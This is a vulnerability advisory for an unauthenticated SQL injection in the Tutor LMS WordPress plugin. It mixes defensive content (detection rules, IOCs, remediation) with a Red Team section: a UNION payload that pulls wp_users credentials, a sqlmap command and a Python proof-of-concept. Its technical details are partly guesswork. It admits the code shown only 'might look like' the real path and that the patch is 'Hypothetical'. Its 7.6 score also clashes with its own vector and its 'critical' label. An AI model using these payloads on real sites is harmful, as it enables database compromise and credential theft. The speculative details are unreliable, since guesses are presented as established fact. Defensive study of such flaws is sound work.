CVE-2025-58993

Executive Summary

CVE-2025-58993 is a critical SQL Injection vulnerability discovered in the Tutor LMS WordPress plugin developed by Themeum. The flaw resides in the improper neutralization of special elements used in an SQL command, allowing unauthenticated attackers to inject arbitrary SQL queries. This vulnerability affects all versions of Tutor LMS up to and including 3.7.4. Given the widespread use of this plugin in e-learning environments, the impact is severe, potentially leading to complete database compromise, data exfiltration, and lateral movement within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Tutor LMS plugin is distributed via the official WordPress plugin repository and Themeum’s own channels. As a supply chain risk, any site running an unpatched version is exposed. Organizations should verify their plugin version and apply any available patches immediately. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An unauthenticated attacker can execute arbitrary SQL commands, leading to full database takeover.

Deep Dive & Mechanics

The vulnerability exists in the Tutor LMS plugin’s handling of user-supplied input within SQL queries. The plugin fails to properly sanitize or parameterize special characters (e.g., single quotes, double dashes) before incorporating them into SQL statements. This allows an attacker to break out of the intended query structure and execute arbitrary SQL commands.

Root Cause: The plugin uses string concatenation or interpolation to build SQL queries without using prepared statements or parameterized queries. For example, a vulnerable code path might look like:

$sql = "SELECT * FROM {$wpdb->prefix}tutor_lessons WHERE id = " . $_GET['lesson_id'];
$results = $wpdb->get_results($sql);

An attacker can supply a value like 1 UNION SELECT user_login, user_pass FROM wp_users-- to extract user credentials.

Attack Vector: The vulnerability is exploitable via HTTP GET or POST parameters that are passed to SQL queries without sanitization. Common entry points include lesson IDs, course IDs, or quiz parameters.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.7.4):

// Vulnerable: direct concatenation
$lesson_id = $_GET['lesson_id'];
$sql = "SELECT * FROM wp_tutor_lessons WHERE id = $lesson_id";
$results = $wpdb->get_results($sql);

Patched Code (Hypothetical):

// Patched: using prepared statement
$lesson_id = intval($_GET['lesson_id']);
$sql = $wpdb->prepare("SELECT * FROM wp_tutor_lessons WHERE id = %d", $lesson_id);
$results = $wpdb->get_results($sql);

The patched version uses $wpdb->prepare() with a placeholder (%d) to ensure the input is treated as data, not executable code. Additionally, intval() is used to enforce integer type.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Tutor LMS <= 3.7.4.
• Network access to the target.

Exploitation Steps:

1. Identify Vulnerable Parameter: Use a web proxy (e.g., Burp Suite) to intercept requests. Look for parameters like lesson_id, course_id, or quiz_id in URLs or POST bodies.

2. Craft SQL Injection Payload: Inject a UNION-based SQL query to extract data. Example:

   GET /wp-admin/admin-ajax.php?action=tutor_lesson&lesson_id=1 UNION SELECT user_login,user_pass FROM wp_users--
   

3. Automate with SQLMap:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=tutor_lesson&lesson_id=1" --batch --dbs
   

4. Extract Credentials: Once the database is enumerated, dump the wp_users table to obtain admin hashes.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
params = {
    "action": "tutor_lesson",
    "lesson_id": "1 UNION SELECT user_login,user_pass FROM wp_users--"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Web Logs: Look for abnormal SQL keywords (UNION, SELECT, FROM) in GET/POST parameters.
2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection patterns.
3. Database Monitoring: Enable query logging and watch for unexpected queries from the WordPress application user.

Honeypot Setup:

• Deploy a decoy WordPress instance with Tutor LMS to capture attacker behavior.
• Use tools like tpotce or Cowrie to log exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing UNION, SELECT, FROM, --, or /* in parameters.
  • Repeated requests to /wp-admin/admin-ajax.php with action=tutor_lesson or similar.
• File IOCs:
  • Unexpected files in /wp-content/uploads/ (e.g., webshells).
  • Modified plugin files (check file integrity with md5sum).
• Database IOCs:
  • New admin users in wp_users.
  • Suspicious entries in wp_options (e.g., base64-encoded payloads).

Detection Engineering

YARA Rule

rule CVE_2025_58993_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting Tutor LMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58993"
    strings:
        $s1 = "UNION" nocase
        $s2 = "SELECT" nocase
        $s3 = "FROM" nocase
        $s4 = "wp_users" nocase
        $s5 = "lesson_id" nocase
        $s6 = "course_id" nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against Tutor LMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests targeting Tutor LMS plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'lesson_id='
            - 'course_id='
            - 'quiz_id='
        cs-uri-query|re: '(UNION|SELECT|FROM|--|%27|%22)'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58993 SQL Injection Attempt - Tutor LMS"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"lesson_id="; http_uri; pcre:"/(UNION|SELECT|FROM|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If no patch is available, deactivate and remove Tutor LMS until a fix is released.
2. Web Application Firewall (WAF): Deploy rules to block SQL injection patterns (e.g., ModSecurity with OWASP CRS).
3. Database Hardening: Ensure the WordPress database user has minimal privileges (e.g., no DROP or CREATE).

Long-Term Fix:

• Apply the official patch from Themeum as soon as it is released.
• Conduct a code review of all custom or third-party plugins for similar injection flaws.
• Implement prepared statements and input validation across the entire codebase.

Workaround:

• Use a security plugin like Wordfence or Sucuri to add virtual patching.
• Restrict access to /wp-admin/admin-ajax.php via .htaccess or Nginx config for non-admin IPs.

Valters IT